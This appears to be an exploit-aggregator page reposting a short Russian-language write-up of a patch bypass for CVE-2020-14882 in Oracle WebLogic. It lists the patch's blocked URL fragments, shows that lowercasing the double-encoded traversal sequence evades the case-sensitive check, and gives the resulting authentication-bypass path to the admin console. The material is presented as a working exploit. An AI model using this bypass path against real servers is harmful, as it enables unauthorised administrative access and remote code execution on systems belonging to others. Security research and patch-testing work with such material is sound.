Sploitus

Exploit for CVE-2020-14882

kitploit · 2026-08-26

Exploit Code

MARKDOWN34 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-JAS502N-CVE-2020-14882
# CVE-2020–14882 Weblogic Неавторизованный обход RCE

## Обход патча с помощью CVE-2020–14882

`private static final String[] IllegalUrl = new String[]{";", "%252E%252E", "%2E%2E", "..", "%3C", "%3E", "<", ">"};`

#### список

root@kitploit:~
    
    
    %252E%252E
    %2E%2E
    ..
    %3E
    %3C
    ;
    <
    >
    

#### нижний регистр

root@kitploit:~
    
    
    >>> "%252E%252E%252F".lower()
    '%252e%252e%252f'
    

преобразование `%252E%252E%252F` в `%252e%252e%252f`

`/console/css/%252e%252e%252fconsole.portal`